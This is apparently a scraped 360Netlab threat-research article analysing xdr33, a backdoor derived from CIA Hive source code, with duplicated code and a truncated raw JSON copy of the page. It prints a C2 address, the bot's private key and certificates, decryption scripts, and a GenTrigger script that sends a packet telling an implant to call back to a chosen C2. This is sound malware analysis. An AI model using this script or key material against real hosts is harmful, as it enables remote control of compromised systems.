C2=C2[:-2]
C2+=(int.to_bytes(c2sum,2,byteorder="big"))
flag=0x7f*10
out+=part1
out+=padding1
out+=(int.to_bytes(sum,2,byteorder="big"))
out+=(int.to_bytes(flag,2,byteorder="big"))
out+=padding2
tmp=bytearray()
for i in range(29):
tmp.append(C2[i] ^ out[offset2+8+i])
out+=tmp
leng=472-len(out)
lengpadding=random.randbytes(random.randint(0,leng+1))
out+=lengpadding
return out
payload=Gen_payload('192.168.159.128',6666)
sock=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
sock.sendto(payload,("192.168.159.133",2345)) # 任意端口
</code></pre>
<!--kg-card-end: markdown--> | Overview
On Oct 21, 2022, 360Netlab's honeypot system captured a suspicious ELF file ee07a74d12c0bb3594965b51d0e45b6f, which propagated via F5 vulnerability with zero VT detection, our system observces that it communicates with IP 45.9.150.144 using SSL with forged Kaspersky certificates, this caught our attention. After further lookup, we confirmed that this sample was adapted from the leaked Hive project server source code from CIA. This is the first time we caught a variant of the CIA HIVE attack kit in the wild, and we named it xdr33 based on its embedded Bot-side certificate CN=xdr33.
To summarize, xdr33 is a backdoor born from the CIA Hive project, its main purpose is to collect sensitive information and provide a foothold for subsequent intrusions. In terms of network communication, xdr33 uses XTEA or AES algorithm to encrypt the original traffic, and uses SSL with Client-Certificate Authentication mode enabled to further protect the traffic; in terms of function, there are two main tasks: beacon and trigger, of which beacon is periodically report sensitive information about the device to the hard-coded Beacon C2 and execute the commands issued by it, while the trigger is to monitor the NIC traffic to identify specific messages that conceal the Trigger C2, and when such messages are received, it establishes communication with the Trigger C2 and waits for the execution of the commands issued by it.
The functional schematic is shown below.
Hive uses the BEACON_HEADER_VERSION macro to define the specified version, which has a value of 29 on the Master branch of the source code and a value of 34 in xdr33, so perhaps xdr33 has had several rounds of iterative updates already. Comparing with the HIV source code, xdr33 has been updated in the following 5 areas:
* New CC instructions have been added
* Wrapping or expanding functions
* Structs have been reordered and extended
* Trigger message format
* Addition of CC operations to the Beacon task
These modifications to xdr33 are not very sophisticated in terms of implementation, and coupled with the fact that the vulnerability used in this spread is N-day, we tend to rule out the possibility that the CIA continued to improve on the leaked source code and consider it to be the result of a cyber attack group borrowing the leaked source code.
Vulnerability Delivery Payload
The md5 of the Payload we captured is ad40060753bc3a1d6f380a5054c1403a, and its contents are shown below.
The code is simple and straightforward, and its main purpose is to
*
Download the next stage of the sample and disguise it as /command/bin/hlogd.
*
Install logd service for persistence.
Sample analysis
We captured only one sample of xdr33 for the X86 architecture, and its basic information is shown below.
MD5:ee07a74d12c0bb3594965b51d0e45b6f
ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped
Packer: None
Simply put, when xdr33 runs in the compromised device, it first decrypts all the configuration information, then checks if it has root/admin permissions, if not, it prints “Insufficient permissions. try again... “and exit; otherwise initialize various runtime parameters, such as C2, PORT, runtime interval, etc. Finally, the two functions beacon_start and TriggerListen are used to open the two tasks of Beacon and Trigger.
The following article mainly analyzes the implementation of Beacon and Trigger from the perspective of binary inversion; at the same time, we also compare and analyze the source code to see what changes have occurred.
Decrypting configuration information
xdr33 decodes the configuration information by the following code snippet decode_str, its logic is very simple, i.e., byte-by-byte inverse.
In IDA you can see that decode_str has a lot of cross-references, 152 in total. To assist in the analysis, we implemented the IDAPython script Decode_RES in the appendix to decrypt the configuration information.
The decryption results are shown below, including Beacon C2 45.9.150.144, runtime prompt messages, commands to view device information, etc.
Beacon Task
The main function of Beacon is to periodically collect PID, MAC, SystemUpTime, process and network related device information; then use bzip, XTEA algorithm to compress and encrypt the device information, and report to C2; finally wait for the execution of the commands issued by C2.
0x01: Information Collection
*
MAC
Query MAC by SIOCGIFCON or SIOCGIFHWADDR
*
SystemUpTime
Collects system up time via /proc/uptime
*
Process and network-related information
Collect process, NIC, network connection, and routing information by executing the following 4 commands
0x02: Information processing
Xdr33 combines different device information through the update_msg function
In order to distinguish different device information, Hive designed ADD_HDR, which is defined as follows, and "3, 4, 5, 6" in the above figure represents different Header Type.
typedef struct __attribute__ ((packed)) add_header {
unsigned short type;
unsigned short length;
} ADD_HDR;
What does "3, 4, 5, 6" represent exactly? This depends on the definition of Header Types in the source code below. xdr33 is extended on this basis, with two new values 0 and 9, representing Sha1[:32] of MAC, and PID of xdr33 respectively
Some of the information collected by xdr32 in the virtual machine is shown below, and it can be seen that it contains the device information with head type 0,1,2,7,9,3.
It is worth mentioning that type=0, Sha1[:32] of MAC, which means that it takes the first 32 bytes of MAC SHA1. Take the mac in the above figure as an example, its calculation process is as follows.
mac:00-0c-29-94-d9-43,remove "-"
result:00 0c 29 94 d9 43
sha1 of mac:
result:c55c77695b6fd5c24b0cf7ccce3e464034b20805
sha1[:32] of mac:
result:c55c77695b6fd5c24b0cf7ccce3e4640
When all the device information is combined, use bzip to compress it and add 2 bytes of beacon_header_version and 2 bytes of OS information in the header.
0x03: Network Communication
The communication process between xdr33 and Beacon C2 contains the following 4 steps, and the details of each step will be analyzed in detail below.
* Two-way SSL authentication
* Obtain XTEA key
* Report XTEA encrypted device information to C2
* Execute the commands sent by C2
Step1: Two-way SSL Authentication
Two-way SSL authentication requires Bot and C2 to confirm each other's identity, from the network traffic level, it is obvious that Bot and C2 request each other's certificate and verify the process.
The author of xdr33 uses the kaspersky.conf and thawte.conf templates in the source repository to generate the required Bot certificate, C2 certificate and CA certificate.
The CA certificate, Bot certificate and PrivKey are hardcoded in xdr32 in DER format.
The Bot certificate can be viewed using openssl x509 -in Cert -inform DER -noout -text, where CN=xdr33, which is where the family name comes from.
You can use openssl s_client -connect 45.9.150.144:443 to see the C2 certificate. bot, C2 certificates are disguised as being related to kaspersky, reducing the suspiciousness of network traffic in this way.
The CA certificates are shown below. From the validity of the 3 certificates, we presume that the start of this activity is after 2022.10.7.
Step2: Obtain XTEA key
After establishing SSL communication between Bot and C2, Bot requests XTEA key from C2 via the following code snippet.
The processing logic is.
1.
Bot sends 64 bytes of data to C2 in the format of "length of device information length string (xor 5) + device information length string (xor 5) + random data".
2.
Bot receives 32 bytes of data from C2 and gets 16 bytes of XTEA KEY from it, the equivalent python code to get the KEY is as follows.
XOR_KEY=5
def get_key(rand_bytes):
offset = (ord(rand_bytes[0]) ^ XOR_KEY) % 15
return rand_bytes[(offset+1):(offset+17)]
Step3: Report XTEA encrypted device information to C2
Bot uses the XTEA KEY obtained from Step2 to encrypt the device information and report it to C2. since the device information is large, it usually needs to be sent in chunks, Bot sends up to 4052 bytes at a time, and C2 replies with the number of bytes it has accepted.
It is also worth mentioning that XTEA encryption is only used in Step3, and the subsequent Step4 only uses the SSL-negotiated encryption suite for network traffic, and no longer uses XTEA.
Step4: Waiting for execution command (new function added by xdr33)
After the device information is reported, C2 sends 8 bytes of task number N of this cycle to Bot, if N is equal to 0, it will sleep for a certain time and enter the next cycle of Beacon Task; if not, it will send 264 bytes of task. bot receives the task, parses it, and executes the corresponding instruction.
The supported instructions are shown in the following table.
Index
Function
0x01
Download File
0x02
Execute CMD with fake name "[kworker/3:1-events]"
0x03
Update
0x04
Upload File
0x05
Delete
0x08
Launch Shell
0x09
Socket5 Proxy
0x0b
Update BEACONINFO
Network Traffic Example
The actual step2 traffic generated by xdr33
The interaction in step3, and the traffic from step4
What information can we get from this??
1.
The length of the device information length string, 0x1 ^ 0x5 = 0x4
2.
The length of the device information, 0x31,0x32,0x37,0x35 respectively xor 5 gives 4720
3.
tea key 2E 09 9B 08 CF 53 BE E7 A0 BE 11 42 31 F4 45 3A
4.
C2 will confirm the length of the device information reported by the BOT, 4052+668 = 4720, which corresponds to the second point
5.
The number of tasks in this cycle is 00 00 00 00 00 00 00, i.e. there is no task, so no specific task of 264 bytes will be issued.
The encrypted device information can be decrypted by the following code, and the decrypted data is 00 22 00 14 42 5A 68 39, which contains the beacon_header_version + os + bzip magic, and the previous analysis can correspond to one by one.
import hexdump
import struct
def xtea_decrypt(key,block,n=32,endian="!"):
v0,v1 = struct.unpack(endian+"2L", block)
k = struct.unpack(endian+"4L",key)
delta,mask = 0x9e3779b9,0xffffffff
sum = (delta * n) & mask
for round in range(n):
v1 = (v1 - (((v0<<4 ^ v0>>5) + v0) ^ (sum + k[sum>>11 & 3]))) & mask
sum = (sum - delta) & mask
v0 = (v0 - (((v1<<4 ^ v1>>5) + v1) ^ (sum + k[sum & 3]))) & mask
return struct.pack(endian+"2L",v0,v1)
def decrypt_data(key,data):
size = len(data)
i = 0
ptext = b''
while i < size:
if size - i >= 8:
ptext += xtea_decrypt(key,data[i:i+8])
i += 8
return ptext
key=bytes.fromhex("""
2E 09 9B 08 CF 53 BE E7 A0 BE 11 42 31 F4 45 3A
""")
enc_buf=bytes.fromhex("""
65 d8 b1 f9 b8 37 37 eb
""")
hexdump.hexdump(decrypt_data(key,enc_buf))
Trigger Task
The main function of the Trigger is to listen to all traffic and wait for the Triggger IP message in a specific format. Once the message and the Trigger Payload hidden in the message pass the layers of verification, the Bot establishes communication with the C2 in the Trigger Payload and waits for the execution of the instructions sent.
0x1: Listening for traffic
Use the function call socket( PF_PACKET, SOCK_RAW, htons( ETH_P_IP ) ) to set RAW SOCKET to capture IP messages, and then the following code snippet to process IP messages, you can see that Tirgger supports TCP,UDP and the maximum length of message Payload is 472 bytes. This kind of traffic sniffing implementation will increase the CPU load, in fact using BPF-Filter on sockets will work better.
0x2: Checksum Trigger packets
TCP and UDP messages that meet the length requirement are further verified using the same check_payload function.
check_payload的代码如下所示:
The processing logic can be seen as follows.
* Use CRC16/CCITT-FALSE algorithm to calculate the CRC16 value of offset 8 to 92 in the message to get crcValue
* The offset value of crcValue in the message is obtained by crcValue % 200+ 92, crcOffset
* Verify whether the data at crcOffset in the message is equal to crcValue, if it is equal, go to the next step
* Check if the data at crcOffset+2 in the message is an integer multiple of 127, if yes, go to the next step
* Trigger_Payload is encrypted, the starting position is crcOffset+12, the length is 29 bytes. the starting position of Xor_Key is crcValue%55+8, XOR the two byte by byte, we get Trigger_Paylaod
So far it can be determined that the Trigger message format is as follows
0x3: Checksum Trigger Payload
If the Trigger message passes the checksum, the check_trigger function continues to check the Trigger Payload
The processing logic can be seen as follows
* Take the last 2 bytes of the Trigger Payload and write it as crcRaw
* Set the last 2 bytes of the Trigger Payload to 0 and calculate its CRC16, which is called crcCalc
* Compare crcRaw and crcCalc, if they are equal, it means that the Trigger Payload is structurally valid.
Next, the SHA1 of the key in the Trigger Payload is calculated and compared with the hard-coded SHA1 46a3c308401e03d3195c753caa14ef34a3806593 in the Bot. If it is equal, it means that the Trigger Payload is also valid in content, so we can go to the last step, establish communication with C2 in the Trigger Payload, and wait for the execution of its issued command.
The format of the Trigger Payload can be determined as follows.
0x4: Execution of Trigger C2's command
After a Trigger message passes the checksum, the Bot actively communicates with the C2 specified in the Trigger Payload and waits for the execution of the instructions issued by the C2.
The supported instructions are shown in the following table.
Index
Function
0x00,0x00a
Exit
0x01
Download File
0x02
Execute CMD
0x04
Upload File
0x05
Delete
0x06
Shutdown
0x08
Launch SHELL
0x09
SOCKET5 PROXY
0x0b
Update BEACONINFO
It is worth noting that Trigger C2 differs from Beacon C2 in the details of communication; after establishing an SSL tunnel, Bot and Trigger C2 use a Diffie-Helllman key exchange to establish a shared key, which is used in the AES algorithm to create a second layer of encryption.
Experiment
To verify the correctness of the reverse analysis of the Trigger part, we Patch the SHA1 value of xdr33, fill in the SHA1 of NetlabPatched,Enjoy! and implement the GenTrigger code in the appendix to generate UDP type Trigger messages.
We run the Patch in the virtual machine 192.168.159.133 after the xdr33 sample, the construction of C2 for 192.168.159.128:6666 Trigger Payload, and sent to 192.168.159.133 in the form of UDP. the final result is as follows, you can see the xdr33 in the implanted host after receiving the UDP Trigger message, and we expected the same, launched a communication request to the preset Trigger C2, Cool!
Contact us
Readers are always welcomed to reach us on twitter or email us to netlab[at]360.cn.
IOC
sample
ee07a74d12c0bb3594965b51d0e45b6f
patched sample
af5d2dfcafbb23666129600f982ecb87
C2
45.9.150.144:443
BOT Private Key
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEA6XthqPjU3XFu8/4PMVQ4iqJbleXmXhbVWMPhY/sTndEcO5vQ
mIMNJc1mISZTNPzddXSrj0h9GJe0ix0CIZID3bHyZHLiqb/ewylFmqSOVkviG/Je
o17UAqhsNGpVu/l8FM3qCHJE7z+wBqHdwVIZMt9vLaLti2KyJV+j1F1GTk8X2jcI
4DnnVKJE81rSafzaX2JBc6J6hovFMMP9IGb2LwRQMZNtZqSus6JMolhkO0dtvxXK
yTm1k79HL3PlZdgKt6HJFoukwkWND8NNTbcBXDWWDdJ42g/1I0Z7tMkdKFgfjUut
90LXKRRuENcUrbi75L6P2FRwPnqvVv+3N25MZQIDAQABAoIBADtguG57kc8bWQdO
NljqPVLshXQyuop1Lh7b+gcuREffdVmnf745ne9eNDn8AC86m6uSV0siOUY21qCG
aRNWigsohSeMnB5lgGaLqXrxnI1P0RogYncT18ExSgtue41Jnoe/8mPhg6yAuuiE
49uVYHkyn5iwlc7b88hTcVvBuO6S7HPqqXbDEBSoKL0o60/FyPb0RKigprKooTo/
KVCRFDT6xpAGMnjZkSSBJB2cgRxQwkcyghMcLJBvsZXbYNihiXiiiwaLvk4ZeBtf
0hnb6Cty840juAIGKDiUELijd3JtVKaBy41KLrdsnC+8JU3RIVGPtPDbwGanvnCk
Ito7gqUCgYEA+MucFy8fcFJtUnOmZ1Uk3AitLua+IrIEp26IHgGaMKFA0hnGEGvb
ZmwkrFj57bGSwsWq7ZSBk8yHRP3HSjJLZZQIcnnTCQxHMXa+YvpuEKE5mQSMwnlu
YH9S2S0xQPi1yLQKjAVVt+zRuuJvMv0dOZAOfdib+3xesPv2fIBu0McCgYEA8D4/
zygeF5k4Omh0l235e08lkqLtqVLu23vJ0TVnP2LNh4rRu6viBuRW7O9tsFLng8L8
aIohdVdF/E2FnNBhnvoohs8+IeFXlD8ml4LC+QD6AcvcMGYYwLIzewODJ2d0ZbBI
hQthoAw9urezc2CLy0da7H9Jmeg26utwZJB4ZXMCgYEAyV9b/rPoeWxuCd+Ln3Wd
+O6Y5i5jVQfLlo1zZP4dBCFwqt2rn5z9H0CGymzWFhq1VCrT96pM2wkfr6rNBHQC
7LvNvoJ2WotykEmxPcG/Fny4du7k03+f5EEKGLhodlMYJ9P5+W1T/SOUefRO1vFi
FzZPVHLfhcUbi5rU3d7CUv8CgYBG82tu578zYvnbLhw42K7UfwRusRWVazvFsGJj
Ge17J9fhTtswHMwtEuSlJvTzHRjorf5TdW/6MqMlp1Ntg5FBHUo4vh3wbZeq3Zet
KV4hoesz+pv140EuL7LKgrgKPCCBI7XXLQxQ8yyL51LlIT9H8rPkopb/EDif2paf
7JbSBwKBgCY8+aO44uuR2dQm0SIUqnb0MigLRs1qcWIfDfHF9K116sGwSK4SD9vD
poCA53ffcrTi+syPiUuBJFZG7VGfWiNJ6GWs48sP5dgyBQaVq5hQofKqQAZAQ0f+
7TxBhBF4n2gc5AhJ3fQAOXZg5rgNqhAln04UAIlgQKO69fAvfzID
-----END RSA PRIVATE KEY-----
BOT Certificate
-----BEGIN CERTIFICATE-----
MIIFJTCCBA2gAwIBAgIBAzANBgkqhkiG9w0BAQsFADCBzjELMAkGA1UEBhMCWkEx
FTATBgNVBAgMDFdlc3Rlcm4gQ2FwZTESMBAGA1UEBwwJQ2FwZSBUb3duMR0wGwYD
VQQKDBRUaGF3dGUgQ29uc3VsdGluZyBjYzEoMCYGA1UECwwfQ2VydGlmaWNhdGlv
biBTZXJ2aWNlcyBEaXZpc2lvbjEhMB8GA1UEAwwYVGhhd3RlIFByZW1pdW0gU2Vy
dmVyIENBMSgwJgYJKoZIhvcNAQkBFhlwcmVtaXVtLXNlcnZlckB0aGF3dGUuY29t
MB4XDTIyMTAwNzE5NTAwN1oXDTIzMDMxNjE5NTAwN1owgYExCzAJBgNVBAYTAlJV
MR0wGwYDVQQKDBRLYXNwZXJza3kgTGFib3JhdG9yeTEUMBIGA1UEAwwLRW5naW5l
ZXJpbmcxDjAMBgNVBAMMBXhkcjMzMQ8wDQYDVQQIDAZNb3Njb3cxDzANBgNVBAcM
Bk1vc2NvdzELMAkGA1UECwwCSVQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQDpe2Go+NTdcW7z/g8xVDiKoluV5eZeFtVYw+Fj+xOd0Rw7m9CYgw0lzWYh
JlM0/N11dKuPSH0Yl7SLHQIhkgPdsfJkcuKpv97DKUWapI5WS+Ib8l6jXtQCqGw0
alW7+XwUzeoIckTvP7AGod3BUhky328tou2LYrIlX6PUXUZOTxfaNwjgOedUokTz
WtJp/NpfYkFzonqGi8Uww/0gZvYvBFAxk21mpK6zokyiWGQ7R22/FcrJObWTv0cv
c+Vl2Aq3ockWi6TCRY0Pw01NtwFcNZYN0njaD/UjRnu0yR0oWB+NS633QtcpFG4Q
1xStuLvkvo/YVHA+eq9W/7c3bkxlAgMBAAGjggFXMIIBUzAMBgNVHRMBAf8EAjAA
MB0GA1UdDgQWBBRc0LAOwW4C6azovupkjX8R3V+NpjCB+wYDVR0jBIHzMIHwgBTz
BcGhW/F2gdgt/v0oYQtatP2x5aGB1KSB0TCBzjELMAkGA1UEBhMCWkExFTATBgNV
BAgMDFdlc3Rlcm4gQ2FwZTESMBAGA1UEBwwJQ2FwZSBUb3duMR0wGwYDVQQKDBRU
aGF3dGUgQ29uc3VsdGluZyBjYzEoMCYGA1UECwwfQ2VydGlmaWNhdGlvbiBTZXJ2
aWNlcyBEaXZpc2lvbjEhMB8GA1UEAwwYVGhhd3RlIFByZW1pdW0gU2VydmVyIENB
MSgwJgYJKoZIhvcNAQkBFhlwcmVtaXVtLXNlcnZlckB0aGF3dGUuY29tggEAMA4G
A1UdDwEB/wQEAwIF4DAWBgNVHSUBAf8EDDAKBggrBgEFBQcDAjANBgkqhkiG9w0B
AQsFAAOCAQEAGUPMGTtzrQetSs+w12qgyHETYp8EKKk+yh4AJSC5A4UCKbJLrsUy
qend0E3plARHozy4ruII0XBh5z3MqMnsXcxkC3YJkjX2b2EuYgyhvvIFm326s48P
o6MUSYs5CFxhhp/N0cqmqGgZL5V5evI7P8NpPcFhs7u1ryGDcK1MTtSSPNPy3F+c
d707iRXiRcLQmXQTcjmOVKrohA/kqqtdM5EUl75n9OLTinZcb/CQ9At+5Sn91AI3
ngd22cyLLC3O4F14L+hqwMd0ENSjanX38iZ2EY8hMpmNYwPOVSQZ1FpXqrkW1ArI
lHEtKB3YMeSXQHAsvBQD0AlW7R7JqHdreg==
-----END CERTIFICATE-----
CA Certificate
-----BEGIN CERTIFICATE-----
MIIFXTCCBEWgAwIBAgIBADANBgkqhkiG9w0BAQsFADCBzjELMAkGA1UEBhMCWkEx
FTATBgNVBAgMDFdlc3Rlcm4gQ2FwZTESMBAGA1UEBwwJQ2FwZSBUb3duMR0wGwYD
VQQKDBRUaGF3dGUgQ29uc3VsdGluZyBjYzEoMCYGA1UECwwfQ2VydGlmaWNhdGlv
biBTZXJ2aWNlcyBEaXZpc2lvbjEhMB8GA1UEAwwYVGhhd3RlIFByZW1pdW0gU2Vy
dmVyIENBMSgwJgYJKoZIhvcNAQkBFhlwcmVtaXVtLXNlcnZlckB0aGF3dGUuY29t
MB4XDTIyMTAwNzE0MTEzOFoXDTQ3MTAwMTE0MTEzOFowgc4xCzAJBgNVBAYTAlpB
MRUwEwYDVQQIDAxXZXN0ZXJuIENhcGUxEjAQBgNVBAcMCUNhcGUgVG93bjEdMBsG
A1UECgwUVGhhd3RlIENvbnN1bHRpbmcgY2MxKDAmBgNVBAsMH0NlcnRpZmljYXRp
b24gU2VydmljZXMgRGl2aXNpb24xITAfBgNVBAMMGFRoYXd0ZSBQcmVtaXVtIFNl
cnZlciBDQTEoMCYGCSqGSIb3DQEJARYZcHJlbWl1bS1zZXJ2ZXJAdGhhd3RlLmNv
bTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMfHJIl4/Xdo896Rlyqr
3VcKnLAAqIJkpgl90Z6bxUDpwa41H3ZDa7As4ZO9xa+lXGn9XB9u34TqJPkyhSKg
3wYK02KTCwVMI/gf506KpFvocTHpScnXs0xUoxsM8qEiDV2pTe447rmyaLyWcT5d
hbzkPl0WuDmEWMhfC2R9z4+mlsbwMAy9PN/JYzxz7cR48qj4j9hhEwkJ1+yJKXBV
AV9CdgLYfJXrA7A4Hxgc0ECKJmpovskv/DlxM8RxOsHfVtyG4ZgqmRraxUelirlf
tLj0fIkLaP7xvo1QSgiqQffbBOiDg9PN3H2wezFOmeDg9RIR6qvhzhyNpZjANiiC
JzMCAwEAAaOCAUIwggE+MA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFPMFwaFb
8XaB2C3+/ShhC1q0/bHlMIH7BgNVHSMEgfMwgfCAFPMFwaFb8XaB2C3+/ShhC1q0
/bHloYHUpIHRMIHOMQswCQYDVQQGEwJaQTEVMBMGA1UECAwMV2VzdGVybiBDYXBl
MRIwEAYDVQQHDAlDYXBlIFRvd24xHTAbBgNVBAoMFFRoYXd0ZSBDb25zdWx0aW5n
IGNjMSgwJgYDVQQLDB9DZXJ0aWZpY2F0aW9uIFNlcnZpY2VzIERpdmlzaW9uMSEw
HwYDVQQDDBhUaGF3dGUgUHJlbWl1bSBTZXJ2ZXIgQ0ExKDAmBgkqhkiG9w0BCQEW
GXByZW1pdW0tc2VydmVyQHRoYXd0ZS5jb22CAQAwDgYDVR0PAQH/BAQDAgGGMA0G
CSqGSIb3DQEBCwUAA4IBAQDBqNA1WFp15AM8l7oDgqa/YHvoGmfcs48Ak8YtrDEF
tLRyz1+hr/hhfR8Hm1hZ0oj1vAzayhCGKdQTk42mq90dG4tViNYMq4mFKmOoVnw6
u4C8BCPfxmuyNFdw9TVqTjdwWqWM84VMg3Cq3ZrEa94DMOAXm3QXcDsar7SQn5Xw
LCsU7xKJc6gwk4eNWEGxFJwS0EwPhBkt1lH4OD11jH0Ukr5rRJvh1blUiOHPd3//
kzeXNozA9PwoH4wewqk8bXZhj5ZA9LR7rm+5OrCoWXofgn1Gi2yd+LWWCrE7NBWm
yRelxOSPRSQ1fvAVvuRrCnCJgKxG/2Ba2DLs95u6IxYX
-----END CERTIFICATE-----
附录
0x1 Decode_RES
import idautils
import ida_bytes
def decode(addr,len):
tmp=bytearray()
buf=ida_bytes.get_bytes(addr,len)
for i in buf:
tmp.append(~i&0xff)
print("%x, %s" %(addr,bytes(tmp)))
ida_bytes.put_bytes(addr,bytes(tmp))
idc.create_strlit(addr,addr+len)
calllist=idautils.CodeRefsTo(0x0804F1D8,1)
for addr in calllist:
prev1Head=idc.prev_head(addr)
if 'push offset' in idc.generate_disasm_line(prev1Head,1) and idc.get_operand_type(prev1Head,0)==5:
bufaddr=idc.get_operand_value(prev1Head,0)
prev2Head=idc.prev_head(prev1Head)
if 'push' in idc.generate_disasm_line(prev2Head,1) and idc.get_operand_type(prev2Head,0)==5:
leng=idc.get_operand_value(prev2Head,0)
decode(bufaddr,leng)
0x02 GenTrigger
import random
import socket
def crc16(data: bytearray, offset, length):
if data is None or offset < 0 or offset > len(data) - 1 and offset + length > len(data):
return 0
crc = 0xFFFF
for i in range(0, length):
crc ^= data[offset + i] << 8
for j in range(0, 8):
if (crc & 0x8000) > 0:
crc = (crc << 1) ^ 0x1021
else:
crc = crc << 1
return crc & 0xFFFF
def Gen_payload(ip:str,port:int):
out=bytearray()
part1=random.randbytes(92)
sum=crc16(part1,8,84)
offset1=sum % 0xc8
offset2=sum % 0x37
padding1=random.randbytes(offset1)
padding2=random.randbytes(8)
host=socket.inet_aton(ip)
C2=bytearray(b'\x01')
C2+=host
C2+=int.to_bytes(port,2,byteorder="big")
key=b'NetlabPatched,Enjoy!'
C2 = C2+key +b'\x00\x00'
c2sum=crc16(C2,0,29)
C2=C2[:-2]
C2+=(int.to_bytes(c2sum,2,byteorder="big"))
flag=0x7f*10
out+=part1
out+=padding1
out+=(int.to_bytes(sum,2,byteorder="big"))
out+=(int.to_bytes(flag,2,byteorder="big"))
out+=padding2
tmp=bytearray()
for i in range(29):
tmp.append(C2[i] ^ out[offset2+8+i])
out+=tmp
leng=472-len(out)
lengpadding=random.randbytes(random.randint(0,leng+1))
out+=lengpadding
return out
payload=Gen_payload('192.168.159.128',6666)
sock=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
sock.sendto(payload,("192.168.159.133",2345)) # 任意端口
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"# Overview\nOn Oct 21, 2022, 360Netlab's honeypot system captured a suspicious ELF file `ee07a74d12c0bb3594965b51d0e45b6f`, which propagated via F5 vulnerability with zero VT detection, our system observces that it communicates with IP `45.9.150.144` using SSL with **forged Kaspersky certificates**, this caught our attention. After further lookup, we confirmed that this sample was adapted from the leaked Hive project server source code from CIA. **This is the first time we caught a variant of the CIA HIVE attack kit in the wild**, and we named it `xdr33` based on its embedded Bot-side certificate `CN=xdr33`.\n\nTo summarize, xdr33 is a backdoor born from the CIA Hive project, its main purpose is to collect sensitive information and provide a foothold for subsequent intrusions. In terms of network communication, xdr33 uses XTEA or AES algorithm to encrypt the original traffic, and uses SSL with Client-Certificate Authentication mode enabled to further protect the traffic; in terms of function, there are two main tasks: beacon and trigger, of which beacon is periodically report sensitive information about the device to the hard-coded Beacon C2 and execute the commands issued by it, while the trigger is to monitor the NIC traffic to identify specific messages that conceal the Trigger C2, and when such messages are received, it establishes communication with the Trigger C2 and waits for the execution of the commands issued by it.\n\nThe functional schematic is shown below.\n\n<a href=\"__GHOST_URL__/content/images/2022/12/hive_function.png\"><img src=\"__GHOST_URL__/content/images/2022/12/hive_function.png\" class=\"kg-image\"/></a>\n\nHive uses the `BEACON_HEADER_VERSION `macro to define the specified version, which has a value of `29` on the Master branch of the source code and a value of `34` in `xdr33`, so perhaps xdr33 has had several rounds of iterative updates already. Comparing with the HIV source code, xdr33 has been updated in the following 5 areas:\n\n- New CC instructions have been added\n- Wrapping or expanding functions\n- Structs have been reordered and extended\n- Trigger message format\n- Addition of CC operations to the Beacon task\n\n\nThese modifications to xdr33 are not very sophisticated in terms of implementation, and coupled with the fact that the vulnerability used in this spread is N-day, we tend to rule out the possibility that the CIA continued to improve on the leaked source code and consider it to be the result of a cyber attack group borrowing the leaked source code.\n\n# Vulnerability Delivery Payload\n\nThe md5 of the Payload we captured is `ad40060753bc3a1d6f380a5054c1403a`, and its contents are shown below.\n\n<a href=\"__GHOST_URL__/content/images/2022/12/hive_logd.png\"><img src=\"__GHOST_URL__/content/images/2022/12/hive_logd.png\" class=\"kg-image\"/></a>\n\n\nThe code is simple and straightforward, and its main purpose is to\n\n- Download the next stage of the sample and disguise it as `/command/bin/hlogd`.\n\n- Install `logd` service for persistence.\n\n# Sample analysis\n\nWe captured only one sample of xdr33 for the X86 architecture, and its basic information is shown below.\n\n```\nMD5:ee07a74d12c0bb3594965b51d0e45b6f\nELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped\nPacker: None\n```\n\nSimply put, when xdr33 runs in the compromised device, it first decrypts all the configuration information, then checks if it has root/admin permissions, if not, it prints “Insufficient permissions. try again... “and exit; otherwise initialize various runtime parameters, such as C2, PORT, runtime interval, etc. Finally, the two functions beacon_start and TriggerListen are used to open the two tasks of Beacon and Trigger.\n\n<a href=\"__GHOST_URL__/content/images/2022/12/hive_main.png\"><img src=\"__GHOST_URL__/content/images/2022/12/hive_main.png\" class=\"kg-image\"/></a>\n\nThe following article mainly analyzes the implementation of Beacon and Trigger from the perspective of binary inversion; at the same time, we also compare and analyze the source code to see what changes have occurred.\n\n# Decrypting configuration information\n\nxdr33 decodes the configuration information by the following code snippet decode_str, its logic is very simple, i.e., byte-by-byte inverse.\n\n<a href=\"__GHOST_URL__/content/images/2022/12/hive_decode.png\"><img src=\"__GHOST_URL__/content/images/2022/12/hive_decode.png\" class=\"kg-image\"/></a>\n\n\n\nIn IDA you can see that decode_str has a lot of cross-references, 152 in total. To assist in the analysis, we implemented the IDAPython script Decode_RES in the appendix to decrypt the configuration information.\n\n<a href=\"__GHOST_URL__/content/images/2022/12/hive_idaxref.png\"><img src=\"__GHOST_URL__/content/images/2022/12/hive_idaxref.png\" class=\"kg-image\"/></a>\n\nThe decryption results are shown below, including Beacon C2 `45.9.150.144`, runtime prompt messages, commands to view device information, etc.\n\n<a href=\"__GHOST_URL__/content/images/2022/12/hive_config.png\"><img src=\"__GHOST_URL__/content/images/2022/12/hive_config.png\" class=\"kg-image\"/></a>\n\n\n\n# Beacon Task\n\nThe main function of Beacon is to periodically collect PID, MAC, SystemUpTime, process and network related device information; then use bzip, XTEA algorithm to compress and encrypt the device information, and report to C2; finally wait for the execution of the commands issued by C2.\n\n## 0x01: Information Collection\n\n\n* MAC\n\n Query MAC by `SIOCGIFCON` or `SIOCGIFHWADDR`\n \n <a href=\"__GHOST_URL__/content/images/2022/12/hive_mac-1.png\"><img src=\"__GHOST_URL__/content/images/2022/12/hive_mac-1.png\" class=\"kg-image\"/></a>\n\n* SystemUpTime\n\n Collects system up time via /proc/uptime\n \n <a href=\"__GHOST_URL__/content/images/2022/12/hive_uptime.png\"><img src=\"__GHOST_URL__/content/images/2022/12/hive_uptime.png\" class=\"kg-image\"/></a>\n\n* Process and network-related information\n\n Collect process, NIC, network connection, and routing information by executing the following 4 commands\n \n <a href=\"__GHOST_URL__/content/images/2022/12/hive_netinfo.png\"><img src=\"__GHOST_URL__/content/images/2022/12/hive_netinfo.png\" class=\"kg-image\"/></a>\n\n## 0x02: Information processing\n\nXdr33 combines different device information through the update_msg function\n\n<a href=\"__GHOST_URL__/content/images/2022/12/hive_compose.png\"><img 